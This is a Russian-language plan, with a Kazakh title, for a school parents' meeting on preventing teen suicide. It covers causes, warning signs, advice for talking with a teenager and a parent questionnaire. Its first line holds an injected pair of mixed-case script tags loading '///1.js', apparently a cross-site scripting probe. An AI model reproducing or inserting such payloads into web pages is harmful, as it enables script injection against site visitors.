<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Ата-аналар жиналысы
«Жасөспірім суицид»
Ата-аналар жиналысы «Жасөспірімдер суициді» жасөспірім суицид проблемасын ақпаратты және профилактикалық көмек көрсету мақсатында, 12-16 жастағы жасөспірімдерді ата-аналар үшін өткізіледі.
Кеңістік ұйымдастыру: қатысушылардың санына сай Үлкен кең класс, үстелдер мен орындықтар.
Қажетті техникалық құралдар: магнитофон және эмоциялық фон жасау үшін музыкалық үзінділер бар CD.
Үлестірме оқытушылық материал: Бланктер ата-аналар жиналысына шақыру, парақшалар және қаламсаптар,
жауап нысандары
Ход собрания
Вводная часть
Приветствие.
Я очень рада, что сегодня здесь собрались люди, за плечами которых огромный жизненный опыт. Общая цель нашей встречи - это любовь и забота к нашим детям, внимание к их формирующейся личности. Мы для них - любимые родители, которые заботятся о них и стараются сформировать те способности и ценности, которые помогут быть успешными в жизни.
Постановка цели
Сегодня
мы поговорим о неблагоприятной ситуации, которая сложилась в России в 21 веке:
об увеличении числа самоубийств среди подростков. Постараемся расширить ваши
знания о причинах и признаках подросткового суицида. О методах и приёмах
профилактики суицида.
Содержательная часть
Информационное
сообщение
По
данным Всемирной организации здоровья за последние 15 лет число самоубийств в
возрастной группе от 15 до 24 лет увеличилось в 2 раза и в ряду причин
смертности многие экономически развитые страны стоят на 2-3 местах.
Покушающиеся
на свою жизнь, как правило, дети из неблагополучных семей. В таких
семьях часто происходят конфликты между родителями, а также родителями и детьми
с применением насилия; родители относятся к детям недоброжелательно и даже
враждебно. Способствовать принятию решения покончить с собой могут
экономические проблемы в семье, ранняя потеря родителей или утрата с ними
взаимопонимания, болезнь матери, уход из семьи отца.
Причиной покушения
на самоубийство может быть депрессия, вызванная потерей
объекта любви, сопровождаться печалью, подавленностью, потерей интереса к жизни
и отсутствием мотивации к решению насущных жизненных задач. Иногда депрессия
может и не проявляться столь явно: подросток старается скрыть ее за повышенной
активностью, чрезмерным вниманием к мелочам или вызывающим поведением -
правонарушениями, употреблением наркотиков, беспорядочными сексуальными
связями. Риск самоубийства более высок среди тех, кто
пристрастился к наркотикам или алкоголю. Под их влиянием повышается вероятность
внезапных импульсов. Бывает и так, что смерть от передозировки является
преднамеренной.
Для
многих склонных к самоубийству подростков характерны
высокая внушаемость и стремление к подражанию.
Когда
случается одно самоубийство, оно становится сигналом к действию для других
предрасположенных к этому подростков. Небольшие группы ребят даже объединялись
с целью создания некой субкультуры самоубийств. Потенциальные самоубийцы часто
имеют покончивших с собой родственников.
Причиной
самоубийства может быть чувство вины и (или) страха и враждебности. Подростки
могут тяжело переживать неудачи в личных отношениях. Попытка самоубийства - это
крик о помощи, обусловленный желанием привлечь внимание к своей беде или
вызвать сочувствие у окружающих. Поднимая на себя руку, ребенок прибегает к
последнему аргументу в споре с родителями. Он нередко представляет себе смерть
как некое временное состояние: он очнется и снова будет жить. Совершенно
искренне желая умереть в невыносимой для него ситуации, он в действительности
хочет лишь наладить отношения с окружающими.
Что
же происходит с родителями, если собственный ребенок не может их дозваться?
Отчего они так глухи, что сыну пришлось лезть в петлю, чтобы они услышали его
крик о помощи?
Сознание
собственной правоты и непогрешимости делает некоторых родителей поразительно нетерпимыми,
неспособными без оценок, без суждения и поучения просто любить и поддерживать
ребенка. Упрекая его, родители произносят порой слова настолько злобные и
оскорбительные, что ими поистине можно убить. Они при этом не думают, что
безобразным своим криком буквально толкают его на опасный для жизни
поступок.
Родителям следует помнить:
·
Если
скандал уже разгорелся, нужно остановиться, заставить себя замолчать, сознавая
свою правоту. В состоянии аффекта подросток крайне импульсивен и агрессивен.
Любой попавший под руку острый предмет, лекарство в вашей аптечке, и т.д. все
станет реально опасным, угрожающим его жизни.
·
Если
человек серьезно задумал совершить самоубийство, то обычно об этом нетрудно
догадаться по ряду характерных признаков, которые можно разделить на 3 группы:
словесные, поведенческие и ситуационные.
Словесные признаки суицида:
Человек,
готовящийся совершить самоубийство, часто говорит о своем душевном состоянии.
Он или она могут:
1.
Прямо
и явно говорить о смерти: "Я собираюсь покончить с собой"; "Я не
могу так дальше жить".
2.
Косвенно
намекать о своем намерении: "Я больше не буду ни для кого проблемой";
"Тебе больше не придется обо мне волноваться".
3.
Много
шутить на тему самоубийства.
4.
Проявлять
нездоровую заинтересованность вопросами смерти.
Поведенческие:
1.
Раздавать другим вещи, имеющие большую личную значимость, окончательно
приводить в порядок дела, мириться с давними врагами.
2.
Демонстрировать радикальные перемены в поведении, такие, как:
·
в
еде - есть слишком мало или слишком много;
·
во сне
- спать слишком мало или слишком много;
·
во
внешнем виде - стать неряшливым;
·
в
школьных привычках - пропускать занятия, не выполнять домашние задания,
избегать общения с одноклассниками; проявлять раздражительность, угрюмость;
находиться в подавленном настроении;
·
замкнуться
от семьи и друзей;
·
быть
чрезмерно деятельным или, наоборот, безразличным к окружающему миру; ощущать
попеременно то внезапную эйфорию, то приступы отчаяния.
3.
Проявлять признаки беспомощности, безнадежности и отчаяния.
Ситуационные:
Человек
может решиться на самоубийство, если:
1.
Социально
изолирован (не имеет друзей или имеет только одного друга), чувствует себя
отверженным.
2.
Живет
в нестабильном окружении (серьезный кризис в семье - в отношениях с родителями
или родителей друг с другом; алкоголизм - личная или семейная проблема);
3.
Ощущает
себя жертвой насилия - физического, сексуального или эмоционального.
4.
Предпринимал
раньше попытки суицида.
5.
Имеет
склонность к самоубийству вследствие того, что оно совершалось кем-то из
друзей, знакомых или членов семьи.
6.
Перенес
тяжелую потерю (смерть кого-то из близких, развод родителей).
7.
Слишком
критически настроен по отношению к себе.
Советы родителям:
Если
замечена склонность подростка к самоубийству, следующие советы помогут изменить
ситуацию.
1.
Внимательно
выслушайте решившегося на самоубийство подростка. В состоянии душевного кризиса
любому из нас, прежде всего, необходим кто-нибудь, кто готов нас выслушать.
Приложите все усилия, чтобы понять проблему, скрытую за словами.
2.
Оцените
серьезность намерений и чувств вашего ребенка. Если он или она уже имеют
конкретный план самоубийства, ситуация более острая, чем если эти планы
расплывчаты и неопределенны.
3.
Оцените
глубину эмоционального кризиса. Подросток может испытывать серьезные трудности,
но при этом не помышлять о самоубийстве. Часто человек, не давно находившийся в
состоянии депрессии, вдруг начинает бурную, неустанную деятельность. Такое
поведение также может служить основанием для тревоги.
4.
Внимательно
отнеситесь ко всем, даже самым незначительным обидам и жалобам. Не
пренебрегайте ничем из сказанного.
5.
Не
бойтесь прямо спросить, не думают ли он или она о самоубийстве. Опыт
показывает, что такой вопрос редко приносит вред. Часто подросток бывает рад
возможности открыто высказать свои проблемы.
Определение степени риска суицида:
Следующие
вопросы и замечания помогут завести разговор о самоубийстве и определить
степень риска в данной ситуации:
"
Похоже, у тебя что-то стряслось. Что тебя мучает? (Так можно завязать разговор
о проблемах подростка.)
"
Ты думал когда-нибудь о самоубийстве?
"
Каким образом ты собираешься это сделать? (Этот вопрос поможет определить
степень риска: чем более подробно разработан план, тем выше вероятность его
осуществления).
Утверждения
о том, что кризис уже миновал, не должны ввести вас в заблуждение. Часто
подросток может почувствовать облегчение после разговора о самоубийстве, но
вскоре опять вернется к тем же мыслям. Поэтому так важно не оставлять его в
одиночестве даже после успешного разговора.
Поддерживайте
его и будьте настойчивы. Человеку в состоянии душевного кризиса нужны строгие
утвердительные указания. Осознание вашей компетентности, заинтересованности в
его судьбе и готовности помочь дадут ему эмоциональную опору.
Убедите
его в том, что он сделал верный шаг, приняв вашу помощь. Оцените его внутренние
резервы. Если человек сохранил способность анализировать и воспринимать советы
окружающих, ему будет легче вернуть душевные силы и стабильность.
Следует
принять во внимание и другие возможные источники помощи: друзей, семью, врачей,
священников, к которым можно обратиться.
Попытайтесь
убедить подростка обратиться к специалистам (психолог, врач). В противном
случае обратитесь к ним сами, чтобы вместе разработать стратегию помощи.
Заключительная часть
Анкета "Взаимоотношения с
ребёнком"
Давайте
ответим с вами на некоторые вопросы, которые помогут увидеть и отразить картину
взаимоотношений с вашим ребёнком.
1.
Рождение
вашего ребёнка было желанным?
2.
Вы
каждый день его целуете, говорите ласковые слова или шутите с ним?
3.
Вы
с ним каждый вечер разговариваете по душам и обсуждаете прожитый им день?
4.
Раз
в неделю проводите с ним досуг (кино, концерт, театр, посещение родственников,
поход на лыжах и т.д.)?
5.
Вы
обсуждаете с ним создавшиеся семейные проблемы, ситуации, планы?
6.
Вы
обсуждаете с ним его имидж, моду, манеру одеваться?
7.
Вы
знаете его друзей (чем они занимаются, где живут)?
8.
Вы
в курсе о его время провождении, хобби, занятиях?
9.
Вы
в курсе его влюблённости, симпатиях?
10.
Вы
знаете о его недругах, недоброжелателях, врагах?
11.
Вы
знаете, какой его любимый предмет в школе?
12.
Вы
знаете кто у него любимый учитель в школе?
13.
Вы
знаете, какой у него самый нелюбимый учитель в школе?
14.
Вы
первым идёте на примирение, разговор?
15.
Вы
не оскорбляете и не унижаете своего ребёнка?
Если
на все вопросы вы ответили "ДА", значит, вы находитесь на верном
родительском пути, держите ситуацию под контролем и сможете в трудную минуту
прийти на помощь своему ребёнку. А если у вас большинство "НЕТ", то
необходимо немедленно измениться, повернуться лицом к своему ребёнку, услышать
его, пока не случилась беда!
В заключение нашего собрания хочу привести слова "Молитвы
любящего родителя" (С.Соловейчик):
"Каждое
утро взываю к тому лучшему, что есть во мне: "Мне послан ребенок; это
дорогой мой гость; я благодарен ему за то, что он есть. Он также привязан к
жизни, как и я, это нас объединяет - мы есть, мы живые люди. Он такой же, как и
я, он человек, и не будущий человек, а сегодняшний, и потому он другой, как и
все люди; я его принимаю как всякого другого человека.
Я
принимаю ребенка, я охраняю его, я понимаю, терплю, принимаю, прощаю. Я не
применяю силу к нему, не угнетаю его своей силой, потому что я его люблю.
Я
люблю его, и я благодарен ему за то, что он есть, и за то, что я могу его
любить".
Раздача
"Памяток", "Молитвы любящего родителя", "Признаки
суицидального поведения".